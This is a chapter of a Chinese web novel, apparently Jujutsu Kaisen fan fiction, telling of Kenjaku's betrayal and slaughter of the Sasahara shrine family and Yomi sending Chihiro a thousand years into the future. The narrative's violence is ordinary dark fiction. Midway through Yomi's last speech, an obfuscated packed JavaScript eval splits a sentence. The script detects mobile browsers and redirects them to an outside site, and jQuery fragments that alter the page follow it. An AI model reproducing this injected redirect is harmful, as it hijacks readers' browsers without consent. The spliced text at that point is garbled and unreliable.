133. 第 133 章

作品:《魅魔也可以成为咒术师吗?!

    “两面宿傩注定要成为幻想鬼神,可以请你不要妨碍他吗?”


    羂索为难的将手搭在脸颊一侧,用熟稔的语调念出那个男人的名字。


    “真是的,那个男人居然也会产生人类的情感,某种角度来说真是不可思议呢、”


    “你到底,在说什么……!”


    喉咙里塞满了血水,笹原千寻猛咳了一声,喷溅出大块的血迹。


    羂索却没理会,而是蹲在她身前,用一种高位者的姿态娓娓道来。


    “说真的,千寻,你不觉得黄泉大人所渴求的那个未来很无趣吗?”


    “……无趣?”


    笹原千寻两道眉倏地往中间绞紧,每一道褶痕里都混杂着愤怒,不解。就连语调的每个音节都带着刀子,要将她撕碎般。


    羂索笑着,没计较她的失礼,反而是早已料到她会是这副表情,因此连语调都没有变化,不以为意。


    “对,黄泉大人也好,天元大人也好,亦或者天使大人……她们的愿望,真是,何等的无聊。”


    她看着伏在地面的背影,可眼神却像是穿透了人形,看向了别人看不见的未来,就那样自说自话。


    “我呢,一直觉得这是个最棒的时代。千寻你不不觉得这个世界很美丽吗?不论是两面宿傩,还是大蜘蛛,大章鱼,八岐大蛇,它们都那么美丽,强大……别说一个村落,山脉,只要它们愿意,连国家都可以覆灭。如此强大的力量可以在人的身上体现,要是继续发展下去,不知道我们会变成怎样的存在……”


    羂索痴迷的诉说她的臆想,眼底闪着平日里不曾见过的光。


    “而且啊,也因为这些强者的存在,人们每天都能活在充满了新鲜,刺激的世界里,为了苟活不得不拼上性命,但这不正是了乐趣所在吗?看着人们挣扎,看着人们痛苦,看着他们振作,看着他们堕落,看他们得到咒力时的狂喜,看他们死亡时的绝望,那些拼尽全力后又失去,那些后悔绝望不甘,真的很有趣……”


    听着她带着戏谑与兴奋的语调,在她口中,那一个个人都不再是人,而是娱乐她的玩具,笹原千寻咬紧牙关,不可遏止的朝她怒吼!


    “你疯了吗!?”


    每日连性命都无法保障提心吊胆的活着,看着身边的人一个个死去,这样的世界,到底哪里好了?!


    “是呢,现在的话,还看不出来吧?但如果继续让诅咒发展下去的话,诅咒迟早能进化吧?不知道会变成何等美丽的姿态。而人类,又会如何应对,如何挣扎呢?届时场面一定会更加精彩吧?”


    羂索捧着脸,痴迷的望着那燃烧的通天火焰,疯狂的念想在她眸底涌动。


    “就为了这种东西?!”


    就为了这种虚无缥缈的想法,竟然可以背叛收养了她的黄泉大人,背叛了所有人的期待??


    “我并不指望你能理解哦?毕竟你更像她们吧?”


    羂索平静的诉说,脸上无悲无喜,只有诡谲的笑容一直悬在嘴角。


    疯了。


    这家伙,从一开始脑子就不正常。


    她不是用常理就能理解的那种人……


    笹原千寻强迫自己冷静下来,有件事她无论如何也要确认。


    “羂索……你,可以,把大脑移植到别人身上吗?”


    虽然在笑着,但她脸上的表情明显变了。如果说,在诉说自己的伟愿时,羂索的脸上还有温度与喜悦的话,那这一刻,她所有的情感都冻结了。


    冰冷的眼神如蛇般舔舐过笹原千寻的脸颊。


    “……真奇怪啊,我似乎不记得有把这个秘密过任何人吧?”


    她扶着自己的脸,一脸颇为苦恼却又无奈的样子。


    “不想让人发现的话,应该让它变成疤才对吧?”


    笹原千寻试探着,毕竟微妙的差异也可能造成偏差。


    对此,羂索只是少女般轻巧的吐了吐舌头。


    “因为不太方便嘛。毕竟我也还在尝试中,要是每次都要把头弄破可是很疼的,所以啊,我就用线先暂时缝合,需要的时候像这样直接打开就好了。”


    羂索一手拨开自己的头发,另一只手向她展示着开启的头颅。


    笹原千寻紫色的眼眸震颤着倒影出昔日同伴的面容,以及她豁然打开了一半的脑壳,以及鲜红色的,跳动着的大脑。


    顷刻间,无数的思绪,念头,记忆,推理,全部交织混杂在了一起。


    也是这个瞬间,笹原千寻明白了,为什么今天行动的消息会外露,为什么会千年后会遇见克制自己的诅咒师,为什么自己会被针对杀死,以及……!


    为什么羂索无法参加仪式。


    根本不是她说的什么没天赋,而是她和自己一样身负诅咒……!


    因为被结界压制,所以才不稳定,不易察觉。


    也因此即便修行多年,依旧无法进行净化仪式!


    甚至,她早就选择了站在诅咒那边!


    一个阴森到不安的念头在笹原千寻脑海里闪过!


    羂索她,一定会阻止仪式!


    “啊,都已经这个时间了。”


    羂索将头上的线重新穿好,仰头看向头顶的明月。


    “差不多到时候了,再继续下去的话,我也有被净化掉的危险。”


    “果然!你这家伙……是想对黄泉大人动手吗?!”


    对于她看穿自己的计划一事,羂索笑得神秘。


    “已经猜到了吗?你果然很危险啊,没错,我现在就要过去了,不过此刻你真正该担心的不是别人吧?”


    羂索一脚踩在插在她后背的刀柄上扭绞着,笹原千寻张着口,却强忍着不发出一丝声音。


    只有浓稠的血渍顺着嘴角泊泊流淌……


    “真能忍呢。但是,很痛苦吧?毕竟这把刀可以混淆灵魂呢,现在,你肯定在天旋地转吧?”


    羂索说的没错。


    此刻的她世界倾覆,颠倒,反复。


    更重要的是,自己与魅魔那泾渭分明的边界如今变得模糊暧昧,海浪般浮动着。稍有不慎,一点咒力都有可能让自己跨过那条禁忌之线……!


    笹原千寻咬紧因愤怒而发颤的下唇,她倒在自己的血渍里,发丝沾满了粘稠的鲜红色,黏着在她苍白的脸上,眼底满是愤怒。


    羂索却看不到般微笑着,脚下微微用力,施加重量将刀刃埋得更深,一寸寸没入她的身躯。


    “你看啊,千寻,你这副与诅咒融合后的身体,是何等的美丽,强大。诅咒给你带来了超乎寻常的恢复力,连死亡都被你弃如敝履……看啊,这是何等高级的存在!是人类望尘莫及的力量!这份力量,真是让人羡慕啊,难道不该人人拥有吗?”


    笹原千寻口中含起一包血渍,狠狠朝羂索的脸上吐去!


    羂索抬手,用洁白的袖口轻易挡住了。


    她的愤怒显然在羂索的意料之中。


    “其实在你来之前我就在尝试融合了,毕竟道具都有了不是吗?因此在我得到这把刀后不久,我就开始筹备实验。只是每次都不能如愿呢……本以为凭借它就能轻松将诅咒与人融合起来,创造新的物种。但每次都失败了。没有人能承受它的力量,因此试验品都在成功融合前都坏掉了。”


    说到这的羂索颇为遗憾的叹了口气。


    “就在我怀疑自己是不是打错了算盘,该另寻出处时,你出现了。”


    她蹲下身来,爱怜的抚摸过那张因咒力暴走而燃烧着脸。


    “在看到你的时候我非常惊喜。毕竟你融合的太好了,要是以你为模版的话,一定能创造出更多同样的存在吧?但你却不知道具体的操作办法,真是让我失望。不过算了,有你这个模板在,我大概有思路了。反正,我也有的是时间,慢慢试总是会有办法的……”


    羂索有些厌了的站起身来,拍了拍手,将目光投向铺着长长台阶的山头。


    “闲话家常就到这里吧。该做正事了。那么,再见了?虽然很想说永别,但你不会死吧?就是不知道,我们多久之后会相遇了……”


    带着戏谑的胜利者笑声,羂索的身影融合在了黑暗里。


    留下血泊中的笹原千寻发出阵阵低吼!


    她多想扑上去,就那样将羂索撕碎!


    可这把刀……!


    就如羂索所说,它正深深的影响自己。


    刀刃里的脉动如海浪般阵阵扑打再脚边,每一次的席卷,碰触,悸动,都会将属于自己的一部分消融进海里。


    如今对咒力的把控必须精妙到毫厘。


    否则自己随时可能会被吞掉!


    必须强打十二万分的精神才能勉强牵引住意识不要游走……


    更糟糕的是,身体自行愈合,反而将咒具深深的埋入自己的心脏。除非借助外力,否则自己是无法将其取出的。


    尽管外形上看不出来,但来自刀身的咒力不停灼烧着心脏,别说站起身来,就连每一次呼吸,自己都会变成不是自己的东西。


    “可恶……!”


    她昂起头,将目光投向深山中。


    “黄泉大人……!”


    现在已经顾不上自己的疼痛了……!


    染血的手伸向前方,笹原千寻就那样用手抓着地面,以此拖拽身体,匍匐着一路爬向山顶。


    *


    血色的拖拽如同巨蟒爬过,一路拖延着,前往后山。


    笹原千寻抵达山顶时,那里也一片火海了。


    无数的巫女倒在被火光照成黑色的液体里,液体流淌着覆盖了法阵,而她们倒下时的脸上写满了痛苦或震惊。


    毕竟被平日里对自己多有照顾的羂索杀害,大家的脸上很难写上其他的情绪。


    而倒在法阵正中的笹原黄泉手脚都被钉在了法阵中央。


    “黄泉大人!”


    笹原千寻加快了动作,一路来到她身边。


    腹部被殷红色浸透的巫女缓缓转过头来,认出了来人:“……千、寻?”


    “是我!等我,我马上就……!”


    她抬起手,想调动咒力,心脏却先一步传来揪痛!


    妖艳的粘稠从她口中喷涌,笹原千寻剧烈的咳嗽着,腹部急促的收紧,压缩,仿佛连内脏都要被挤压出来。


    “不要,使用,咒力。”


    笹原黄泉,用残留的力量警告。


    好不容易从晕眩中恢复,已经被冷汗浸透的笹原千寻挣扎着来到笹原黄泉身侧,十指死死扣住她掌心的长钉,笹原千寻咬紧牙关,拼尽全力将钉入她掌心的钉子拔了出来!牵连出一片血雾!


    大概是伤到了笹原黄泉的要害,因此羂索并没有把钉子钉得特别深,毕竟还要留着力气杀其他人。


    笹原千寻费了点力气总算把所有钉子都拔了下来,此刻汗水已经不满她苍白的脸,就连唇上都没有颜色。


    “黄泉大人,我们,快走……”


    如果这个时候能有人来帮忙的话……


    她握住了女人的手,想要将她带离,可那手却反扣住了自己的手腕。


    笹原千寻不解的回望,就见笹原黄泉神色平静,轻缓的朝她摇了摇头。


    “没用的。千寻,我已经活不了了。”


    清冷的脸上目光垂落,指引着笹原千寻看下去。


    来自腹部的伤口殷红着衣襟,并且还在不断外扩。伤口比预计的深,就算现在有医者在,她也必死无疑。除非有能使用反转术士的人,但是那种人,平安时代没有几个。


    “不行……!只要熬过这里,我去找两面宿傩……!”


    如果是他的话,一定能救她!


    笹原千寻想驱动咒力,先止住她的血,直到能撑到面见两面宿傩位置。


    然后心脏再一次传来紧缩!无形的手几乎要将她的心脏捏炸!


    “住手,千寻。如果硬来你会被毁掉的。要是彻底成了废人,你连求死解脱都做不到。所以,住手吧。”


    “我不要紧的,黄泉大人……!现在要紧的是你……!”


    笹原千寻抬起满是血污与泥土的脸,而她对上的,是被火舌舔舐着的,笹原黄泉的脸。


    第一次的,笹原千寻在她脸上看到了那种笑容。


    平和,安详,镇定。


    与往日里那种眉头紧蹙,沉思烦恼的样子不同,这一次,笹原黄泉露出了她从未见过的温柔。


    “千寻,你是从千年后来的吧?”


    笹原千寻脑子里嗡——的一声。


    “为什么会知道?!”


    笹原黄泉理所当然的微笑着,将目光垂落在她腹部。


    “你体内的那个,是封存于笹原家仓库里,原初的七大诅咒只一。它不是这个时代的东西,并且你和她融合的术式,也是这个家不外传的秘法之一,看得出术式有些走样了,不是长年累月不会变化成这样……而那个诅咒现在还在青森的老家里,我让妹妹确认过了,封印没有解除。那时起我就知道了。笹原家没落了,对吧?”


    望着那双东西一切的眼眸,笹原千寻第一次感到自己无法直视那眼眸。


    “黄泉大人……对不起……”


    她无法向这个女人说出口。


    说出她赌上性命也要守护的笹原家已经没落的事实。


    说笹原家的女人沦为娼妇的事实。


    对此,笹原黄泉却只是了然的微笑,满是理解与疼惜。


    “……恐怕是我们家注定有此一劫。我死之后,家族陨落,所以才会用这种肮脏的办法把家族延续下去呢。”


    她垂落下眼眸,睫毛下藏着隐隐的遗憾与苦涩,无奈。所有情愫就这样混杂着,从她的笑容里挤压出来。


    “对不起……没能,帮上忙。”


    笹原黄泉微笑着,抬起手,温柔的抚摸过笹原千寻的脸颊,为她擦去脸上的土与血,让她抬起头来看向自己。


    “千寻,你是我们家的孩子吧?”


    笹原黄泉温柔的笑着,眼底翳动着水光。


    笹原千寻的紫眸颤动着倒影出她从未有过的温柔,莫大的水光争先恐后的溢出。


    原来她早就知道了。


    所以才会那么信任自己……


    她反握住了女人逐渐冰冷苍白的手,想将自己的温暖与之分享。


    “是的,我是笹原家的孩子。黄泉大人……可,什么时候?”


    从看见自己体内诅咒的时候?


    还是自己不经意的流露……?


    “你的名字……”


    笹原黄泉微微垂下目光,她抬手微微陇着对方的手,如同在讲一件隐秘。


    “千寻这个名字有很多的引申,一般是用作丈量单位而使用,偶尔也会用它形容对事物的极致追求与美好探索。但同时,有一个隐秘的,很少有人知道的隐喻,那就是……千寻,寓意着千年的和平。”


    笹原黄泉直视着眼前之人,任由她的眼睛倒影出自己的模样。


    “千寻,你是我一直在寻求的,千年的和平。”


    听她一字一句的诉说,紫色眸底涌动着水渍再也无法承受那份重量,沉甸甸的从她脸上划过数道清透。


    那一刻,笹原千寻她知道了——自己诞生的理由。


    指腹轻轻摩挲过自己的脸颊,笹原黄泉一遍遍为她擦拭去眼下的泪痕。


    “怎么会那么巧呢?又是千寻,又有那个术……所以我猜,你一定是因为体内的诅咒所以不小心被带回了这个时代吧?”


    血、泪、声音、万般思绪混杂着与它们一起哽咽在喉咙,她重重的点头,千言万语,这一刻都变得毫无意义。


    笹原黄泉微笑着,了然的也点着头。


    这孩子注定会回到千年前,注定会遇见这里的一切,并且,她将作为关键,串联起这一千年失落的时光,完成自己未能完成的仪式!


    实则在猜到这个人的身份后,笹原黄泉便也知晓了自己的结局。


    所以她悉心教导,将一切都赌在她身上。


    这样就算自己无法做到,这孩子也会继承自己的遗愿,继续做下去。


    “本来,我是希望由我来完成的,这样你就不用辛苦了。但还是逃不过宿命啊……”


    她吐出的气又薄又浅,甚至渐渐只有出来的气了。


    “千寻,记住,你作为千寻而生


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385118|178611||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,注定要带来千年的和平,所以,请不计代价,一定,一定,要实现它,好吗?在一千年后。”


    笹原黄泉脸上的温情一瞬间消融了,她又变回了那个家主。


    她死死握着二人血水交融的手,捏得笹原千寻生疼。


    笹原千寻也回望着对方,紧紧回握着,立下誓言。


    “我会的,黄泉大人,我一定会的!”


    二人握住彼此的手逐渐用力,沉甸甸的交托。


    听见肯定的答复,笹原黄泉这才露出松了口气的笑容。


    “对了,还有件事……”


    她忽的伏在笹原千寻耳旁,交代了一句密语。


    “这是,笹原家家主才能知道的口谕。你回去后,只要说出密语,就能进入家主才能进入的忌库。那里有我留下的书和资料,应该能帮到你……”


    “……是……”


    最后的尾音,已然淹没在哽咽声中,泣不成声。


    “好了,回去吧。回到一千年后。”


    笹原黄泉松开了手,她口中念着什么,将手轻轻落在她的腹部。


    就感到腹部隐隐传来灼痛,回过神时,笹原千寻身后悄然裂开一道缝隙,一扇镜面般的圆赫然浮现在她身后。


    不等笹原千寻回过神来,笹原黄泉用最后的力量猛推了她一把。


    笹原千寻的身体就那样轻盈的,飘忽的,坠落在身后的黑洞中。


    “去吧。千寻。”


    笹原黄泉依依不舍的望着那张脸,笑着,挤压出晶莹的眼眸,一字一句。


    “去带来,千年的和平吧。”


    在一千年后。


    “黄泉大人……”


    笹原千寻望着渐渐远去,渺小的身形,含着泪的眼睛倒映出笹原黄泉最后的微笑,如同将她的模样永恒的刻入眼底。


    她就那样虚无的跌落身后的黑洞中,彻底泯灭了。


    *


    混杂着血腥味风袭来,笹原黄泉张开口呼出一口气,然而艳丽粘稠的鲜红却率先从她口中流淌。


    虽然腰腹受了致命伤,可她却感觉不到般挺直了腰板,眼神肃穆的凝望着,咬紧牙关硬是站了起来。


    血液滴答坠落在大地上,展开血色的花瓣。


    她深吸入一口气,捡起散落在一旁的神乐铃,一如往常般挺直腰板摆好了架势。


    笹原黄泉眼神坚定的目视前方,眼神威严肃穆,她丝毫不为眼前的景象动摇,只一味在血与火中继续跳着舞,彩带陪着她旋转,燃烧。


    足袋踩过从她口中、胸膛中溢出的鲜红斑驳,无尽的铃声回荡在火海中。


    “就算这样,也要,把诅咒,压制下去……!”


    即便注定失败的话,她也要为千寻打造一个她能活下去的世界……!


    “黄泉大人……!”


    受了不同程度伤的巫女匆匆赶来,她们拖着病体抵达阵前,但笹原黄泉却没有停下,相反,她威严依旧,不容质疑的命令下。


    “传令下去,笹原一族……不论任何手段,不计后果,一定要让家族延续下去,延续千年……!并且——”


    她无比郑重,比交代任何都要来的用力。


    “一定要倾尽全力保护家族里,一个叫千寻的孩子。无论如何,我们家都必须诞生‘千寻’。”


    只有她,能串联起仪式。


    只有她,能继承自己的遗愿。


    只有她,能完成这场未完的仪式……!


    “记住,不惜一切代价,都要让笹原家延续下去。”


    不论会被怎样的嘲笑,戏谑,甚至狼狈,丑陋。


    她们的血脉也都要持续下去!


    然后,一定要让‘千寻’诞生!


    “……是!”


    *


    “这算什么啊……”


    天使飞在空中,负气又遗憾的扭曲了面容。


    大章鱼的围剿失败了,但好在御三家齐心协力,没让它上岸。被重创的大章鱼丢下部分残骸潜入深海了。


    八岐大蛇击败了前去支援的部队,但大章鱼被击退,御三家现在有余力去对付它了。


    自己身负重伤。


    按理说,这么久了,仪式应该有了效果才对。


    但是她没有看见太大的成果,至少比预计的全面净化要弱小得多。


    她有不详的预感。


    虽然早有心理准备,但真的回来查看情况时,天使还是怔住了。


    她看见了在无尽的火海燃烧着笹原家,以及被血色染红的山头。


    通过教养女孩以及侍卫们破碎的消息,她才得知发生了什么。


    看着她们曾经欢笑着生活过的地方,如今却浸在一片火光中,天使的神志有一瞬的恍惚,仿佛她来错了地方。


    到处都是人的尖叫声,死亡的腐朽大片大片吞没了这一带。


    那种摧枯拉朽的绝望将她淹没了。


    啊啊……


    黄泉啊,千年的和平,不会到来了啊……


    她垂着头,身体微微发颤。


    第一次的,天使的脸上浮现了无以言表的哀恸。


    都那么努力了,那么拼命了,到头来,却还是无法阻止这个世界的衰败,让人类走向堕落……


    “可恶……”


    无尽的酸楚与不甘涌上心头,天使捂着脸,身体微微蜷缩起来。


    “这不是天使嘛?”


    沾染着血迹的羂索笑着在地面朝她招呼,天使用腥红的眼眶看向那个还能笑出来的女人,牙关止不住咯咯作响。


    “……是你啊。”


    “呀,想不到会变成这样呢?”


    羂索叉着腰环顾四周,语调轻松仿佛一切都与自己无关:“之前和你提议的那件事,你考虑得怎么样了?”


    天使望着她没有说话,只有羂索用一副自来熟的口吻。


    “毕竟你的寿命就快要到头了吧?还剩多久?几年?几个月?亦或者……几天?”


    被笑容挤压成一条缝的眼睛笑着,天使冷着脸看向地面上的女人没有说话,只是那样直勾勾的望着眼前熟悉又陌生的女人。


    一千年前诞生的她们,纵使有千年的寿命,如今也即将抵达尽头。


    她本该将羂索杀死,为黄泉报仇,可是……!


    就如她所说,自己已经没有时间了。


    “就算是黄金时代的人,也过了一千年了哦?而您又不是天元大人,没有不死的术式。再这样下去,你可就要寿终正寝了。”


    “……我同意了,羂索。”


    她咬着牙,一字一句。


    “我同意,在千年后醒来。”


    并且再一次的,斩杀堕天!消灭诅咒!


    羂索咧开嘴角,露出心满意足却又无比狰狞的笑容:“交易达成。”


    天使缓缓的落在地上,就那样蜷缩成一团,将羽翼落下,紧紧包裹着自己,就这样阖上眼,悄无声息的睡去了……


    *


    天元站在。望着那一片刺目的惊红,眼底翳动着湿润的红。


    “黄泉……你还在继续,对吗?”


    即便隔得那么远,她也依旧能听见铃声。


    在羂索开始屠杀后,笹原黄泉便让自己先行。毕竟如果连自己也倒下了,这个世界就完蛋了。


    笹原黄泉燃烧着最后的生命,进行着已经示弱的仪式,如今只能祓除低级的咒灵们。


    而无法被净化的强大诅咒们疯狂溢出,他们很清楚,随着笹原家的覆灭,能阻碍他们的东西又少了一件。


    甚至那些藏匿着的诅咒们也翻涌上来……


    八百万的鬼精灵怪也蠢蠢欲动,百鬼夜行将全面爆发。


    事到如今,天元能做的就只有强行推动结界,以四大结界为基础不断向外扩张,将那些疯狂完全封印在这片岛屿上。不让它外溢。


    这是自己最后所能做的事了。


    所幸,她还有盘星教,那个由千寻打造过的团体可以容身,不至于变成一个人。


    “黄泉啊,你说,她就是你寻求的千寻。既然如此,就让我,亲眼确认吧。”


    在一千年后。